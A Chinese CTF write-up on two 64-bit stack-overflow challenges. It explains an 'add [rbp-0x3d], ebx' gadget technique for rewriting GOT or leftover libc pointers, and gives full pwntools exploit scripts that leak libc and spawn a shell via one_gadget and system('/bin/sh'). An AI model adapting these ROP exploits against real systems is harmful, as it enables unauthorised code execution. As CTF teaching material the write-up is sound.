花式Ret2dl

前言

之前花了很长时间研究了一波64位ret2dl,以为这已经是栈溢出的顶端了,然后就遇到了这几个题。

题一

极客大挑战的pwn222,比赛时按预期解做出来的。当时发现这道题ban了libc_start_main以为不能往got那边想了,直到看了这篇wp,大概就是在64位程序的_do_global_dtors_aux中有这么一个gadget十分有用,可以直接改栈数据。

add dword ptr [rbp - 0x3d], ebx ; nop ; ret

这个思路前提是有libc知道read和其他一些函数的偏移,这样就可以用rbx,rbp改栈上任意数据了。我们首先改read_got为write的地址,然后write泄露,再改回read返回main,最后one gadget一把梭。

from pwn import *

p = process('./pwn222', env={
     'LD_PRELOAD':'./libc'})

elf = ELF('./pwn222')
libc = ELF('./libc')
context.log_level = 'debug'

read_got = elf.got['read']
read_plt = elf.plt['read']
pop_rbx_rbp_r12_r13_r14_r15_ret=0x00000040122A
pop_rsi_r15_ret=0x0000000000401231
pop_rdi_ret=0x0000000000401233
add_ret=0x000000000040112c
start = 0x0000000000401060
main = 0x000401146

# gdb.attach(p, 'b main')

payload=b'a'*0x20
payload+=p64(0xdeadbeaf) # rbp
payload+=p64(pop_rbx_rbp_r12_r13_r14_r15_ret)
payload+=p64(0x60)  # rbx
payload+=p64(read_got+0x3d) # ebp
payload+=p64(0)*4
payload+=p64(add_ret)   # ret
payload+=p64(pop_rdi_ret)   # ret
payload+=p64(1) # rdi
payload+=p64(pop_rsi_r15_ret)
payload+=p64(read_got)  # rsi
payload+=p64(0)
payload+=p64(read_plt)  # write(1, read_got,)
payload+=p64(pop_rbx_rbp_r12_r13_r14_r15_ret)
payload+=p64(0xFFFFFFFFFFFFFFA0) # 0xFFFFFFFFFFFFFFA0 + 0x60 = 2^n
payload+=p64(read_got+0x3d)
payload+=p64(0)*4
payload+=p64(add_ret)
payload+=p64(main)
p.sendline(payload)

write_addr=u64(p.recv(6) + b'\x00\x00')
p.success('write_addr : ' +hex(write_addr))
libc_base=write_addr-libc.symbols['write']
one_gadget=libc_base+0x4527a

payload2=b'a'*0x28+p64(one_gadget)
p.sendline(payload2)
p.interactive()

题二

看了一下,一样的单read,但是Full RELRO。
花式Ret2dl_第1张图片

同样使用这个gadget,但是不能改got表了,经大佬提示发现可以在栈迁移bss段后调用libc_start_main,这样就会在bss上残留地址,然后当作got同样的配方走一遍就好了。
exp:

from pwn import *
context.log_level = 'debug'

p=process('./pwn', env={
     'LD_PRELOAD':'./libc-2.27.so'})
libc=ELF('libc-2.27.so')

elf=ELF('./pwn')

one = [0x4f2c5 , 0x4f322 , 0x10a38c]
rdi_ret = 0x4005D3
rsi_r15 = 0x4005D1
leave_ret = 0x400564
buf_address = elf.bss() + 0x500
csu_end_addr = 0x4005CA 
csu_front_addr= 0x4005B0
fini = 0x4005E0
init = 0x400570
start = 0x400450
main = 0x0000400537
add_gad = 0x400518
ret = 0x0000000000400416

payload  = b'\x00'*0x80 + p64(buf_address)
payload += p64(rdi_ret) + p64(0)
payload += p64(rsi_r15) + p64(buf_address) + p64(0) + p64(elf.plt['read'])
payload += p64(leave_ret)
payload = payload.ljust(0x100,b'\x00')
p.send(payload)

def csu(func_got,rdi,rsi,rdx):
    payload = p64(csu_end_addr)
    payload += p64(0)         #rbx=0
    payload += p64(1)         #rbp=1
    payload += p64(func_got)  #r12  call
    payload += p64(rdi)       #r13  rdi 
    payload += p64(rsi)       #r14  rsi
    payload += p64(rdx)       #r15  rdx 
    payload += p64(csu_front_addr)
    payload += b'\x00'*0x38
    return payload

payload = p64(0xdeadbeaf) + p64(ret)
payload += csu(elf.got['__libc_start_main'],start,fini,init)
payload += p64(start)
payload = payload.ljust(0x100, b'\x00')
p.send(payload)

payload  = b'\x00'*0x80 + p64(buf_address)
payload += p64(0x4005Ca)
payload += p64(0xFFFFFFFFFFC5EE18) ##(-0x3a11e8)^0xffffffffffffffff+1
payload += p64(0x601458+0x3d)
payload += p64(0)*4
payload += p64(add_gad)
payload += p64(start)
p.send(payload)

binsh = 0x6012b0
system = 0x601458
payload =b'/bin/sh\x00'+b'c'*0x80 + p64(ret)
payload +=csu(system,binsh,0,0)
p.send(payload)

p.interactive()

你可能感兴趣的:(ctf)